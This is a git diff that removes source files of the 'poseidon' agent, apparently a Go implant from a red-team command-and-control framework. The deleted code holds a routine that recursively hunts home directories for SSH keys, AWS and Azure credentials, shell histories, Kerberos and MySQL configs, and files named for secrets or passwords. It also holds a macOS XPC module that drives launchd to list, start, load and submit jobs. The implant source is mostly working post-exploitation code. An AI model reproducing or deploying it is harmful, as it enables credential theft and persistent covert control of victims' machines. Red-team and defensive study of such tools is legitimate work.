- return len(result.AWSFiles) == 0 && len(result.SSHFiles) == 0 && len(result.AzureFiles) == 0 && len(result.HistoryFiles) == 0 && len(result.LogFiles) == 0 && len(result.ShellScriptFiles) == 0 && len(result.YAMLFiles) == 0 && len(result.ConfFiles) == 0 && len(result.CSVFiles) == 0 && len(result.DatabaseFiles) == 0 && len(result.MySqlConfFiles) == 0 && len(result.KerberosFiles) == 0 && len(result.InterestingFiles) == 0
-}
-
-func newOSFile(path string, info os.FileInfo) OSFile {
- return OSFile{
- Path: path,
- Name: info.Name(),
- Size: info.Size(),
- Mode: info.Mode().Perm().String(),
- ModificationTime: info.ModTime().String(),
- IsDir: info.IsDir(),
- }
-}
-
-// Helper function to add an OS file to a slice of OS Files.
-func addFileToSlice(slice *[]OSFile, path string, info os.FileInfo) {
- *slice = append(*slice, newOSFile(path, info))
-}
-
-func anySliceInString(s string, slice []string) bool {
- for _, x := range slice {
- if strings.Contains(s, x) {
- return true
- }
- }
- return false
-}
-
-func addFileToDirectoryTriageResult(filepath string, info os.FileInfo, result *DirectoryTriageResult, slice *[]OSFile) {
- result.mutex.Lock()
- addFileToSlice(slice, filepath, info)
- result.mutex.Unlock()
-}
-
-var interestingNames = []string{"secret", "password", "credential"}
-
-// Triage a specified home-path for interesting files, including:
-// See: DirectoryTriageResult
-func triageDirectory(triagePath string, result *DirectoryTriageResult, job *structs.Job) error {
- if _, err := os.Stat(triagePath); os.IsNotExist(err) {
- return err
- }
-
- files, err := ioutil.ReadDir(triagePath)
- if err != nil {
- return err
- }
- wg := sync.WaitGroup{}
- for _, file := range files {
- if *job.Stop > 0 {
- break
- }
- fullpath := filepath.Join(triagePath, file.Name())
- if file.IsDir() {
- if anySliceInString(file.Name(), interestingNames) {
- addFileToDirectoryTriageResult(fullpath, file, result, &result.InterestingFiles)
- } else if file.Name() == ".git" {
- addFileToDirectoryTriageResult(fullpath, file, result, &result.InterestingFiles)
- }
- wg.Add(1)
- go func(path string, dirtriage *DirectoryTriageResult, job *structs.Job) {
- defer wg.Done()
- triageDirectory(path, dirtriage, job)
- }(fullpath, result, job)
- } else {
- if strings.Contains(fullpath, string(os.PathSeparator)+".ssh"+string(os.PathSeparator)) {
- switch file.Name() {
- case "authorized_keys":
- break
- case "known_hosts":
- break
- default:
- addFileToDirectoryTriageResult(fullpath, file, result, &result.SSHFiles)
- // addFileToSlice(&result.SSHFiles, fullpath, file)
- break
- }
- // Add any file within the AWS directory.
- } else if strings.Contains(fullpath, string(os.PathSeparator)+".aws"+string(os.PathSeparator)) {
- addFileToDirectoryTriageResult(fullpath, file, result, &result.AWSFiles)
- // addFileToSlice(&result.AWSFiles, fullpath, file)
- // Add all history files.
- } else if strings.HasSuffix(file.Name(), "_history") && strings.HasPrefix(file.Name(), ".") {
- addFileToDirectoryTriageResult(fullpath, file, result, &result.HistoryFiles)
- // addFileToSlice(&result.HistoryFiles, fullpath, file)
- // Add all shell-script files.
- } else if strings.HasSuffix(file.Name(), ".sh") {
- addFileToDirectoryTriageResult(fullpath, file, result, &result.ShellScriptFiles)
- // addFileToSlice(&result.ShellScriptFiles, fullpath, file)
- // Add all yaml files.
- } else if strings.HasSuffix(file.Name(), ".yml") || strings.HasSuffix(file.Name(), ".yaml") {
- addFileToDirectoryTriageResult(fullpath, file, result, &result.YAMLFiles)
- // addFileToSlice(&result.YAMLFiles, fullpath, file)
- // Add all configuration files.
- } else if strings.HasSuffix(file.Name(), ".conf") {
- addFileToDirectoryTriageResult(fullpath, file, result, &result.ConfFiles)
- // addFileToSlice(&result.ConfFiles, fullpath, file)
- // Any "interesting" file names.
- } else if anySliceInString(file.Name(), interestingNames) {
- addFileToDirectoryTriageResult(fullpath, file, result, &result.InterestingFiles)
- // addFileToSlice(&result.InterestingFiles, fullpath, file)
- // Any kerberos files.
- } else if strings.HasPrefix(file.Name(), "krb5") {
- addFileToDirectoryTriageResult(fullpath, file, result, &result.KerberosFiles)
- // addFileToSlice(&result.KerberosFiles, fullpath, file)
- // Any MySQL configuration files.
- } else if file.Name() == ".my.cnf" || file.Name() == "my.cnf" {
- addFileToDirectoryTriageResult(fullpath, file, result, &result.MySqlConfFiles)
- // addFileToSlice(&result.MySqlConfFiles, fullpath, file)
- // Any azure files
- } else if strings.Contains(fullpath, string(os.PathSeparator)+".azure"+string(os.PathSeparator)) {
- addFileToDirectoryTriageResult(fullpath, file, result, &result.AzureFiles)
- // addFileToSlice(&result.AzureFiles, fullpath, file)
- } else if strings.HasSuffix(file.Name(), ".log") {
- addFileToDirectoryTriageResult(fullpath, file, result, &result.LogFiles)
- // addFileToSlice(&result.LogFiles, fullpath, file)
- } else if strings.HasSuffix(file.Name(), ".csv") || strings.HasSuffix(file.Name(), ".tsv") {
- addFileToDirectoryTriageResult(fullpath, file, result, &result.CSVFiles)
- // addFileToSlice(&result.CSVFiles, fullpath, file)
- } else if strings.HasSuffix(file.Name(), ".db") {
- addFileToDirectoryTriageResult(fullpath, file, result, &result.DatabaseFiles)
- // addFileToSlice(&result.DatabaseFiles, path, info)
- } else if strings.HasSuffix(file.Name(), ".doc") || strings.HasSuffix(file.Name(), ".docx") {
- addFileToDirectoryTriageResult(fullpath, file, result, &result.MSWordFiles)
- // addFileToSlice(&result.DatabaseFiles, path, info)
- } else if strings.HasSuffix(file.Name(), ".xls") || strings.HasSuffix(file.Name(), ".xlsx") {
- addFileToDirectoryTriageResult(fullpath, file, result, &result.MSExcelFiles)
- // addFileToSlice(&result.DatabaseFiles, path, info)
- } else if strings.HasSuffix(file.Name(), ".ppt") || strings.HasSuffix(file.Name(), ".pptx") {
- addFileToDirectoryTriageResult(fullpath, file, result, &result.MSPowerPointFiles)
- // addFileToSlice(&result.DatabaseFiles, path, info)
- } else if strings.HasSuffix(file.Name(), ".txt") {
- addFileToDirectoryTriageResult(fullpath, file, result, &result.TextFiles)
- // addFileToSlice(&result.DatabaseFiles, path, info)
- } else if strings.HasSuffix(file.Name(), ".pdf") {
- addFileToDirectoryTriageResult(fullpath, file, result, &result.PDFs)
- // addFileToSlice(&result.DatabaseFiles, path, info)
- }
- }
- }
-
- wg.Wait()
- return nil
-}
diff --git a/Payload_Types/poseidon/agent_code/unsetenv/unsetenv.go b/Payload_Types/poseidon/agent_code/unsetenv/unsetenv.go
deleted file mode 100755
index f721b43d5..000000000
--- a/Payload_Types/poseidon/agent_code/unsetenv/unsetenv.go
+++ /dev/null
@@ -1,42 +0,0 @@
-package unsetenv
-
-import (
- "fmt"
- "os"
- "strings"
- "pkg/profiles"
- "pkg/utils/structs"
- "encoding/json"
- "sync"
-)
-
-var mu sync.Mutex
-
-//Run - interface method that retrieves a process list
-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
-
- params := strings.TrimSpace(task.Params)
- err := os.Unsetenv(params)
-
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- msg.Completed = true
- msg.UserOutput = fmt.Sprintf("Successfully cleared %s", params)
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/upload/.gitkeep b/Payload_Types/poseidon/agent_code/upload/.gitkeep
deleted file mode 100755
index e69de29bb..000000000
diff --git a/Payload_Types/poseidon/agent_code/xpc/xpc.go b/Payload_Types/poseidon/agent_code/xpc/xpc.go
deleted file mode 100755
index 5df86751d..000000000
--- a/Payload_Types/poseidon/agent_code/xpc/xpc.go
+++ /dev/null
@@ -1,65 +0,0 @@
-package xpc
-
-import (
- "encoding/json"
- "sync"
- "pkg/profiles"
- "pkg/utils/structs"
-)
-
-var mu sync.Mutex
-var results json.RawMessage
-var args Arguments
-
-type Arguments struct {
- Command string `json:"command"`
- ServiceName string `json:"servicename"`
- Program string `json:"program"`
- File string `json:"file"`
- KeepAlive bool `json:"keepalive"`
- Pid int `json:"pid"`
- Data string `json:"data"`
-}
-
-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
- args = Arguments{}
- err := json.Unmarshal([]byte(task.Params), &args)
-
- if err != nil {
-
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- res, err := runCommand(args.Command)
-
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- msg.UserOutput = string(res)
- msg.Completed = true
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/xpc/xpc_darwin.go b/Payload_Types/poseidon/agent_code/xpc/xpc_darwin.go
deleted file mode 100755
index ca48fb16c..000000000
--- a/Payload_Types/poseidon/agent_code/xpc/xpc_darwin.go
+++ /dev/null
@@ -1,698 +0,0 @@
-// +build darwin
-
-package xpc
-
-/*
-#cgo LDFLAGS: -framework Foundation
-#cgo CFLAGS: -Wno-error=implicit-function-declaration
-#include
-#include
-#include
-#include
-#include
-#include "xpc_wrapper_darwin.h"
-*/
-import "C"
-
-import (
- "encoding/json"
- "encoding/base64"
- "errors"
- "fmt"
- "strings"
- "log"
- r"reflect"
- "unsafe"
- "os"
- "io/ioutil"
-)
-
-type XPC struct {
- conn C.xpc_connection_t
-}
-
-type XpcMan struct {
- Emitter
- conn XPC
- servicename string
-}
-
-func New(service string, privileged int) *XpcMan {
- x := &XpcMan{Emitter: Emitter{}}
- x.Emitter.Init()
- x.conn = XpcConnect(service, x, privileged)
- return x
-}
-
-func (x *XpcMan) HandleEvent(event Dict, err error) {
- if err != nil {
- return
- }
-
- // marshal the xpc.Dict object to raw, indented json and print it
- raw, err := json.Marshal(event)
- if err != nil {
- return
- }
-
- results = raw
- return
-}
-
-type XpcEventHandler interface {
- HandleEvent(event Dict, err error)
-}
-
-func (x *XPC) Send(msg interface{}, verbose bool) {
- C.XpcSendMessage(x.conn, goToXpc(msg), C.bool(true), C.bool(verbose))
-}
-
-type Dict map[string]interface{}
-
-func (d Dict) Contains(k string) bool {
- _, ok := d[k]
- return ok
-}
-
-func (d Dict) MustGetDict(k string) Dict {
- return d[k].(Dict)
-}
-
-func (d Dict) MustGetArray(k string) Array {
- return d[k].(Array)
-}
-
-func (d Dict) MustGetBytes(k string) []byte {
- return d[k].([]byte)
-}
-
-func (d Dict) MustGetHexBytes(k string) string {
- return fmt.Sprintf("%x", d[k].([]byte))
-}
-
-func (d Dict) MustGetInt(k string) int {
- return int(d[k].(int64))
-}
-
-func (d Dict) MustGetUUID(k string) UUID {
- return d[k].(UUID)
-}
-
-func (d Dict) GetString(k, defv string) string {
- if v := d[k]; v != nil {
- //log.Printf("GetString %s %#v\n", k, v)
- return v.(string)
- } else {
- //log.Printf("GetString %s default %#v\n", k, defv)
- return defv
- }
-}
-
-func (d Dict) GetBytes(k string, defv []byte) []byte {
- if v := d[k]; v != nil {
- //log.Printf("GetBytes %s %#v\n", k, v)
- return v.([]byte)
- } else {
- //log.Printf("GetBytes %s default %#v\n", k, defv)
- return defv
- }
-}
-
-func (d Dict) GetInt(k string, defv int) int {
- if v := d[k]; v != nil {
- //log.Printf("GetString %s %#v\n", k, v)
- return int(v.(int64))
- } else {
- //log.Printf("GetString %s default %#v\n", k, defv)
- return defv
- }
-}
-
-func (d Dict) GetUUID(k string) UUID {
- return GetUUID(d[k])
-}
-
-// an Array of things
-type Array []interface{}
-
-func (a Array) GetUUID(k int) UUID {
- return GetUUID(a[k])
-}
-
-// a UUID
-type UUID [16]byte
-
-func MakeUUID(s string) UUID {
- var sl []byte
-
- s = strings.Replace(s, "-", "", -1)
- fmt.Sscanf(s, "%32x", &sl)
-
- var uuid [16]byte
- copy(uuid[:], sl)
- return UUID(uuid)
-}
-
-func MustUUID(s string) UUID {
- var sl []byte
-
- s = strings.Replace(s, "-", "", -1)
- if len(s) != 32 {
- log.Fatal("invalid UUID")
- }
- if n, err := fmt.Sscanf(s, "%32x", &sl); err != nil || n != 1 {
- log.Fatal("invalid UUID ", s, " len ", n, " error ", err)
- }
-
- var uuid [16]byte
- copy(uuid[:], sl)
- return UUID(uuid)
-}
-
-func (uuid UUID) String() string {
- return fmt.Sprintf("%x", [16]byte(uuid))
-}
-
-func GetUUID(v interface{}) UUID {
- if v == nil {
- return UUID{}
- }
-
- if uuid, ok := v.(UUID); ok {
- return uuid
- }
-
- if bytes, ok := v.([]byte); ok {
- uuid := UUID{}
-
- for i, b := range bytes {
- uuid[i] = b
- }
-
- return uuid
- }
-
- if bytes, ok := v.([]uint8); ok {
- uuid := UUID{}
-
- for i, b := range bytes {
- uuid[i] = b
- }
-
- return uuid
- }
-
- log.Fatalf("invalid type for UUID: %#v", v)
- return UUID{}
-}
-
-var (
- CONNECTION_INVALID = errors.New("connection invalid")
- CONNECTION_INTERRUPTED = errors.New("connection interrupted")
- CONNECTION_TERMINATED = errors.New("connection terminated")
-
- TYPE_OF_UUID = r.TypeOf(UUID{})
- TYPE_OF_BYTES = r.TypeOf([]byte{})
-
- handlers = map[uintptr]XpcEventHandler{}
-)
-
-
-
-func runCommand(command string) ([]byte, error) {
- switch command {
- case "list":
- if len(args.ServiceName) == 0 {
- response := XpcLaunchList("")
- response = response.(Dict)
- raw, err := json.MarshalIndent(response, "", " ")
- if err != nil {
- empty := make([]byte, 0)
- return empty, err
- }
-
- return raw, err
- } else {
- response := XpcLaunchList(args.ServiceName)
- response = response.(Dict)
- raw, err := json.MarshalIndent(response, "", " ")
- if err != nil {
- empty := make([]byte, 0)
- return empty, err
- }
-
- return raw, err
- }
- break
- case "start":
- if len(args.ServiceName) == 0 {
- empty := make([]byte, 0)
- return empty, errors.New("Missing service name argument")
- } else {
- response := XpcLaunchControl(args.ServiceName, 1)
- response = response.(Dict)
- raw, err := json.MarshalIndent(response, "", " ")
- if err != nil {
- empty := make([]byte, 0)
- return empty, err
- }
-
- return raw, err
- }
- break
- case "stop":
- if len(args.ServiceName) == 0 {
- empty := make([]byte, 0)
- return empty, errors.New("Missing service name argument")
- } else {
- response := XpcLaunchControl(args.ServiceName, 0)
- response = response.(Dict)
- raw, err := json.MarshalIndent(response, "", " ")
- if err != nil {
- empty := make([]byte, 0)
- return empty, err
- }
-
- return raw, err
- }
- break
- case "load":
- if len(args.File) == 0 {
- empty := make([]byte, 0)
- return empty, errors.New("Missing file name argument")
- } else {
- response := XpcLaunchLoadPlist(args.File)
- response = response.(Dict)
- raw, err := json.MarshalIndent(response, "", " ")
- if err != nil {
- empty := make([]byte, 0)
- return empty, err
- }
-
- return raw, err
- }
- break
- case "unload":
- if len(args.File) == 0 {
- empty := make([]byte, 0)
- return empty, errors.New("Missing file name argument")
- } else {
- response := XpcLaunchUnloadPlist(args.File)
- response = response.(Dict)
- raw, err := json.MarshalIndent(response, "", " ")
- if err != nil {
- empty := make([]byte, 0)
- return empty, err
- }
-
- return raw, err
- }
- break
- case "status":
- if len(args.ServiceName) == 0 {
- empty := make([]byte, 0)
- return empty, errors.New("Missing service name argument")
- } else {
- response := XpcLaunchStatus(args.ServiceName)
- response = response.(Dict)
- raw, err := json.MarshalIndent(response, "", " ")
- if err != nil {
- empty := make([]byte, 0)
- return empty, err
- }
-
- return raw, err
- }
- break
- case "procinfo":
- response := XpcLaunchProcInfo(args.Pid)
-
- return []byte(response), nil
- case "submit":
- if len(args.ServiceName) == 0 {
- empty := make([]byte, 0)
- return empty, errors.New("Missing service name argument")
- } else if len(args.Program) == 0 {
- empty := make([]byte, 0)
- return empty, errors.New("Missing program argument")
- } else {
- response := XpcLaunchSubmit(args.ServiceName, args.Program)
- response = response.(Dict)
- raw, err := json.MarshalIndent(response, "", " ")
- if err != nil {
- empty := make([]byte, 0)
- return empty, err
- }
-
- return raw, err
- }
- break
- case "send":
- if len(args.Data) == 0 || len(args.ServiceName) == 0 {
- empty := make([]byte, 0)
- return empty, errors.New("Missing service name and/or pid argument")
- } else {
- base64DecodedSendData, err := base64.StdEncoding.DecodeString(args.Data)
- if err != nil {
- empty := make([]byte, 0)
- return empty, err
- }
-
- data := Dict{}
- err = json.Unmarshal(base64DecodedSendData, &data)
- if err != nil {
- empty := make([]byte, 0)
- return empty, err
- }
-
- var m *XpcMan
- m = New(args.ServiceName, 1)
-
- m.conn.Send(data, false)
-
- }
- return []byte("message sent"), nil
- default:
- return []byte("Command not supported"), nil
- }
- return []byte("Command not supported"), nil
-}
-
-func XpcLaunchList(service string) interface{} {
- if len(service) == 0 {
- raw := C.XpcLaunchdListServices(nil)
- result := xpcToGo(raw).(Dict)
- return result
- } else {
- cservice := C.CString(service)
- defer C.free(unsafe.Pointer(cservice))
- raw := C.XpcLaunchdListServices(cservice)
- result := xpcToGo(raw).(Dict)
- return result
- }
-}
-
-func XpcLaunchControl(service string, startstop int) interface{} {
- if len(service) == 0 {
- return Dict{
- "error": "service name required",
- }
- } else {
- cservice := C.CString(service)
- defer C.free(unsafe.Pointer(cservice))
- cstartstop := C.int(startstop)
- raw := C.XpcLaunchdServiceControl(cservice, cstartstop)
- result := xpcToGo(raw).(Dict)
- return result
- }
-}
-
-func XpcLaunchSubmit(label string, program string) interface{} {
- if len(label) == 0 || len(program) == 0 {
- return Dict{
- "error": "label and program required",
- }
- } else {
- clabel := C.CString(label)
- cprogram := C.CString(program)
- defer C.free(unsafe.Pointer(clabel))
- defer C.free(unsafe.Pointer(cprogram))
-
- raw := C.XpcLaunchdSubmitJob(cprogram, clabel, 1)
- result := xpcToGo(raw).(Dict)
- return result
- }
-}
-
-func XpcLaunchStatus(service string) interface{} {
- if len(service) == 0 {
- return Dict{
- "error": "service name required",
- }
- } else {
- cservice := C.CString(service)
- defer C.free(unsafe.Pointer(cservice))
- raw := C.XpcLaunchdGetServiceStatus(cservice)
- result := xpcToGo(raw).(Dict)
- return result
- }
-}
-
-func XpcLaunchProcInfo(pid int) string {
-
- cpid := C.ulong(pid)
- raw := C.XpcLaunchdGetProcInfo(cpid)
- file := C.GoString(raw)
- dat, _ := ioutil.ReadFile(file)
- err := os.Remove(file)
- if err != nil {
- //log.Printf("Unable to remove file: %s", err.Error())
- }
- return string(dat)
-
-}
-
-func XpcLaunchLoadPlist(path string) interface{} {
- if len(path) == 0 {
- return Dict{
- "error": "path required",
- }
- } else {
- cpath := C.CString(path)
- defer C.free(unsafe.Pointer(cpath))
- clegacy := C.int(1)
- raw := C.XpcLaunchdLoadPlist(cpath, clegacy)
- result := xpcToGo(raw).(Dict)
- return result
- }
-}
-
-func XpcLaunchUnloadPlist(path string) interface{} {
- if len(path) == 0 {
- return Dict{
- "error": "path required",
- }
- } else {
- cpath := C.CString(path)
- defer C.free(unsafe.Pointer(cpath))
- raw := C.XpcLaunchdUnloadPlist(cpath)
- result := xpcToGo(raw).(Dict)
- return result
- }
-}
-
-func XpcConnect(service string, eh XpcEventHandler, privileged int) XPC {
- // func XpcConnect(service string, eh XpcEventHandler) C.xpc_connection_t {
- ctx := uintptr(unsafe.Pointer(&eh))
- handlers[ctx] = eh
-
- cprivileged := C.int(privileged)
- cservice := C.CString(service)
- defer C.free(unsafe.Pointer(cservice))
- // return C.XpcConnect(cservice, C.uintptr_t(ctx))
- return XPC{conn: C.XpcConnect(cservice, C.uintptr_t(ctx), cprivileged)}
-}
-
-//export handleXpcEvent
-func handleXpcEvent(event C.xpc_object_t, p C.ulong) {
- //log.Printf("handleXpcEvent %#v %#v\n", event, p)
-
- t := C.xpc_get_type(event)
-
- eh := handlers[uintptr(p)]
- if eh == nil {
- //log.Println("no handler for", p)
- return
- }
-
- if t == C.TYPE_ERROR {
- if event == C.ERROR_CONNECTION_INVALID {
- // The client process on the other end of the connection has either
- // crashed or cancelled the connection. After receiving this error,
- // the connection is in an invalid state, and you do not need to
- // call xpc_connection_cancel(). Just tear down any associated state
- // here.
- //log.Println("connection invalid")
- eh.HandleEvent(nil, CONNECTION_INVALID)
- } else if event == C.ERROR_CONNECTION_INTERRUPTED {
- //log.Println("connection interrupted")
- eh.HandleEvent(nil, CONNECTION_INTERRUPTED)
- } else if event == C.ERROR_CONNECTION_TERMINATED {
- // Handle per-connection termination cleanup.
- //log.Println("connection terminated")
- eh.HandleEvent(nil, CONNECTION_TERMINATED)
- } else {
- //log.Println("got some error", event)
- eh.HandleEvent(nil, fmt.Errorf("%v", event))
- }
- } else {
- eh.HandleEvent(xpcToGo(event).(Dict), nil)
- }
-}
-
-// goToXpc converts a go object to an xpc object
-func goToXpc(o interface{}) C.xpc_object_t {
- return valueToXpc(r.ValueOf(o))
-}
-
-// valueToXpc converts a go Value to an xpc object
-//
-// note that not all the types are supported, but only the subset required for Blued
-func valueToXpc(val r.Value) C.xpc_object_t {
- if !val.IsValid() {
- return nil
- }
-
- var xv C.xpc_object_t
-
- switch val.Kind() {
- case r.Int, r.Int8, r.Int16, r.Int32, r.Int64:
- xv = C.xpc_int64_create(C.int64_t(val.Int()))
-
- case r.Uint, r.Uint8, r.Uint16, r.Uint32:
- xv = C.xpc_int64_create(C.int64_t(val.Uint()))
-
- case r.String:
- xv = C.xpc_string_create(C.CString(val.String()))
-
- case r.Map:
- xv = C.xpc_dictionary_create(nil, nil, 0)
- for _, k := range val.MapKeys() {
- v := valueToXpc(val.MapIndex(k))
- C.xpc_dictionary_set_value(xv, C.CString(k.String()), v)
- if v != nil {
- C.xpc_release(v)
- }
- }
-
- case r.Array, r.Slice:
- if val.Type() == TYPE_OF_UUID {
- // Array of bytes
- var uuid [16]byte
- r.Copy(r.ValueOf(uuid[:]), val)
- xv = C.xpc_uuid_create(C.ptr_to_uuid(unsafe.Pointer(&uuid[0])))
- } else if val.Type() == TYPE_OF_BYTES {
- // slice of bytes
- xv = C.xpc_data_create(unsafe.Pointer(val.Pointer()), C.size_t(val.Len()))
- } else {
- xv = C.xpc_array_create(nil, 0)
- l := val.Len()
-
- for i := 0; i < l; i++ {
- v := valueToXpc(val.Index(i))
- C.xpc_array_append_value(xv, v)
- if v != nil {
- C.xpc_release(v)
- }
- }
- }
-
- case r.Interface, r.Ptr:
- xv = valueToXpc(val.Elem())
-
- default:
- log.Fatalf("unsupported %#v", val.String())
- }
-
- return xv
-}
-
-//export arraySet
-func arraySet(u C.uintptr_t, i C.int, v C.xpc_object_t) {
- a := *(*Array)(unsafe.Pointer(uintptr(u)))
- a[i] = xpcToGo(v)
-}
-
-//export dictSet
-func dictSet(u C.uintptr_t, k *C.char, v C.xpc_object_t) {
- d := *(*Dict)(unsafe.Pointer(uintptr(u)))
- d[C.GoString(k)] = xpcToGo(v)
-}
-
-// xpcToGo converts an xpc object to a go object
-//
-// note that not all the types are supported, but only the subset required for Blued
-func xpcToGo(v C.xpc_object_t) interface{} {
- t := C.xpc_get_type(v)
-
- switch t {
- case C.TYPE_ARRAY:
- a := make(Array, C.int(C.xpc_array_get_count(v)))
- p := uintptr(unsafe.Pointer(&a))
- C.XpcArrayApply(C.uintptr_t(p), v)
- return a
-
- case C.TYPE_DATA:
- return C.GoBytes(C.xpc_data_get_bytes_ptr(v), C.int(C.xpc_data_get_length(v)))
-
- case C.TYPE_DICT:
- d := make(Dict)
- p := uintptr(unsafe.Pointer(&d))
- C.XpcDictApply(C.uintptr_t(p), v)
- return d
-
- case C.TYPE_INT64:
- return int64(C.xpc_int64_get_value(v))
-
- case C.TYPE_STRING:
- return C.GoString(C.xpc_string_get_string_ptr(v))
-
- case C.TYPE_UUID:
- a := [16]byte{}
- C.XpcUUIDGetBytes(unsafe.Pointer(&a), v)
- return UUID(a)
-
- case C.TYPE_ERROR:
- d := make(Dict)
- p := uintptr(unsafe.Pointer(&d))
- C.XpcDictApply(C.uintptr_t(p), v)
- return d
- case C.TYPE_BOOL:
- return C.xpc_bool_get_value(v)
-
- case C.TYPE_CONNECTION:
- log.Printf("Received connection xpc type: %#v", v)
-
- case C.TYPE_FD:
- log.Printf("Received file descriptor xpc type: %#v", v)
- case C.TYPE_NULL:
- log.Printf("Received null xpc type: %#v", v)
-
- case C.TYPE_SHMEM:
- log.Printf("Received shared memory xpc type: %#v", v)
- default:
- log.Printf("unexpected type %#v, value %#v", t, v)
- }
- return nil
-}
-
-// xpc_release is needed by tests, since they can't use CGO
-func xpc_release(xv C.xpc_object_t) {
- C.xpc_release(xv)
-}
-
-// this is used to check the OS version
-
-type Utsname struct {
- Sysname string
- Nodename string
- Release string
- Version string
- Machine string
-}
-
-func Uname(utsname *Utsname) error {
- var cstruct C.struct_utsname
- if err := C.uname(&cstruct); err != 0 {
- return errors.New("utsname error")
- }
-
- // XXX: this may crash if any value is exactly 256 characters (no 0 terminator)
- utsname.Sysname = C.GoString(&cstruct.sysname[0])
- utsname.Nodename = C.GoString(&cstruct.nodename[0])
- utsname.Release = C.GoString(&cstruct.release[0])
- utsname.Version = C.GoString(&cstruct.version[0])
- utsname.Machine = C.GoString(&cstruct.machine[0])
-
- return nil
-}
diff --git a/Payload_Types/poseidon/agent_code/xpc/xpc_emitter_darwin.go b/Payload_Types/poseidon/agent_code/xpc/xpc_emitter_darwin.go
deleted file mode 100755
index 3103170dc..000000000
--- a/Payload_Types/poseidon/agent_code/xpc/xpc_emitter_darwin.go
+++ /dev/null
@@ -1,53 +0,0 @@
-// +build darwin
-
-package xpc
-
-import (
- "encoding/json"
- "fmt"
-)
-
-const (
- ALL = "__allEvents__"
-)
-
-type XpcEvent map[string]interface{}
-
-type EventHandlerFunc func(XpcEvent) bool
-
-type Emitter struct {
- handlers map[string]EventHandlerFunc
- event chan XpcEvent
-}
-
-// Init initialize the emitter and start a goroutine to execute the event handlers
-func (e *Emitter) Init() {
- e.handlers = make(map[string]EventHandlerFunc)
- e.event = make(chan XpcEvent)
-
- // event handler
- go func() {
- for {
- ev := <-e.event
-
- if fn, ok := e.handlers[ALL]; ok {
- if fn(ev) {
- break
- }
- } else {
- rawEvent, _ := json.MarshalIndent(ev, "", " ")
- fmt.Printf("%s", string(rawEvent))
- }
- }
-
- close(e.event) // TOFIX: this causes new "emits" to panic.
- }()
-}
-
-func (e *Emitter) Emit(ev XpcEvent) {
- e.event <- ev
-}
-
-func (e *Emitter) On(event string, fn EventHandlerFunc) {
-
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/xpc/xpc_linux.go b/Payload_Types/poseidon/agent_code/xpc/xpc_linux.go
deleted file mode 100755
index baf2309ae..000000000
--- a/Payload_Types/poseidon/agent_code/xpc/xpc_linux.go
+++ /dev/null
@@ -1,13 +0,0 @@
-// +build linux
-
-package xpc
-
-import (
- "errors"
-)
-
-
-func runCommand(command string) ([]byte, error) {
- n := make([]byte, 0)
- return n, errors.New("not implemented")
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/xpc/xpc_wrapper_darwin.c b/Payload_Types/poseidon/agent_code/xpc/xpc_wrapper_darwin.c
deleted file mode 100755
index 1a84ecd4d..000000000
--- a/Payload_Types/poseidon/agent_code/xpc/xpc_wrapper_darwin.c
+++ /dev/null
@@ -1,320 +0,0 @@
-#include
-#include
-#include "xpc_wrapper_darwin.h"
-#include
-#include
-
-
-struct xpc_global_data {
- uint64_t a;
- uint64_t xpc_flags;
- mach_port_t task_bootstrap_port;
-#ifndef _64
- uint32_t padding;
-#endif
- xpc_object_t xpc_bootstrap_pipe;
-};
-
-#define OS_ALLOC_ONCE_KEY_MAX 100
-
-struct _os_alloc_once_s {
- long once;
- void *ptr;
-};
-extern struct _os_alloc_once_s _os_alloc_once_table[];
-
-xpc_type_t TYPE_ERROR = XPC_TYPE_ERROR;
-xpc_type_t TYPE_ARRAY = XPC_TYPE_ARRAY;
-xpc_type_t TYPE_DATA = XPC_TYPE_DATA;
-xpc_type_t TYPE_DICT = XPC_TYPE_DICTIONARY;
-xpc_type_t TYPE_INT64 = XPC_TYPE_INT64;
-xpc_type_t TYPE_STRING = XPC_TYPE_STRING;
-xpc_type_t TYPE_UUID = XPC_TYPE_UUID;
-xpc_type_t TYPE_BOOL = XPC_TYPE_BOOL;
-xpc_type_t TYPE_DATE = XPC_TYPE_DATE;
-xpc_type_t TYPE_FD = XPC_TYPE_FD;
-xpc_type_t TYPE_CONNECTION = XPC_TYPE_CONNECTION;
-xpc_type_t TYPE_NULL = XPC_TYPE_NULL;
-xpc_type_t TYPE_SHMEM = XPC_TYPE_SHMEM;
-
-xpc_object_t ERROR_CONNECTION_INVALID = (xpc_object_t) XPC_ERROR_CONNECTION_INVALID;
-xpc_object_t ERROR_CONNECTION_INTERRUPTED = (xpc_object_t) XPC_ERROR_CONNECTION_INTERRUPTED;
-xpc_object_t ERROR_CONNECTION_TERMINATED = (xpc_object_t) XPC_ERROR_TERMINATION_IMMINENT;
-
-const ptr_to_uuid_t ptr_to_uuid(void *p) { return (ptr_to_uuid_t)p; }
-
-
-xpc_object_t XpcLaunchdListServices(char *ServiceName) {
-
- xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);
- xpc_dictionary_set_uint64(dict, "subsystem", 3);
- xpc_dictionary_set_uint64(dict, "handle",0);
- xpc_dictionary_set_uint64(dict, "routine", ROUTINE_LIST);
- xpc_dictionary_set_uint64(dict, "type",1);
-
- if (ServiceName)
- {
- xpc_dictionary_set_string(dict, "name", ServiceName);
- }
- else
- {
- xpc_dictionary_set_bool(dict, "legacy", 1);
- }
-
